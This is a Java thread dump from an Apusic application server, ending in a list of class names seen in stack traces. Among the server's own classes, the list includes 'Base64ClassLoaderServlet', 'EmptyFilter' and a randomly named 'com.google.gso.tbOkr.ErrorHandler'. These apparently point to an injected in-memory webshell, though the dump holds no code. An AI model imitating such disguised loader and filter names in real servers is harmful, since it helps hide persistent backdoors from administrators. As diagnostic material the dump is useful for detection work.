java.lang.Thread.run(Thread.java:750) + +"HttpReader" #30 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.web.http.HttpReaderThread$SubSelector.run(HttpReaderThread.java:101) + +"MQ.Server.Reader" #25 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:101) + at com.apusic.mq.transport.ReaderThread.run(ReaderThread.java:65) + +"ApusicTimerThread-5" #24 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@472d6b13 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"Idle MQHandler-1" #27 [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@755ac836 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2163) + at com.apusic.util.ThreadPoolImpl.getWork(ThreadPoolImpl.java:578) + at com.apusic.util.ThreadPoolImpl$WorkerThread.run(ThreadPoolImpl.java:649) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@390a8ba5 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:188) + +"MuxReader" #17 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.apusic.net.ReaderThread$SubSelector.run(ReaderThread.java:120) + +"Thread-3" #18 [WAITING] on com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive@f1f7b01 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive.run(Util.java:736) + +"ApusicTimerThread-2" #13 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2adb506 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1088) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at com.apusic.server.Config$TimerThreadFactory$1.run(Config.java:247) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.apusic.corba.ee.impl.javax.rmi.CORBA.KeepAlive +com.apusic.deploy.runtime.AutoDeployer +com.apusic.logging.manager.ServerLogManager$PushThread +com.apusic.mq.dispatch.DispatchList +com.apusic.mq.dispatch.DispatchList$1 +com.apusic.mq.dispatch.WaitForALLAvailable +com.apusic.mq.queue.LocalQueue +com.apusic.mq.queue.LocalQueue$SelfActivation +com.apusic.mq.transport.ReaderThread +com.apusic.mq.util.DedicatedTaskRunner +com.apusic.mq.util.DedicatedTaskRunner$1 +com.apusic.net.NonBlockingListenerThread +com.apusic.net.ReaderThread$SubSelector +com.apusic.server.Config$TimerThreadFactory$1 +com.apusic.server.J2EEServer +com.apusic.server.Main +com.apusic.util.AttackFilter +com.apusic.util.ThreadPoolImpl +com.apusic.util.ThreadPoolImpl$WorkerThread +com.apusic.web.container.FilterChainImpl +com.apusic.web.container.FilterComponent +com.apusic.web.container.ServletComponent +com.apusic.web.container.ServletFilterWrapper +com.apusic.web.container.WebContainer +com.apusic.web.http.ConnectionHandler +com.apusic.web.http.HttpConnectionHandler +com.apusic.web.http.HttpReaderThread$SubSelector +com.apusic.web.http.HttpServer +com.apusic.web.http.VirtualHost +com.apusic.web.session.AbstractSessionManager$HouseKeeper +com.google.gso.tbOkr.ErrorHandler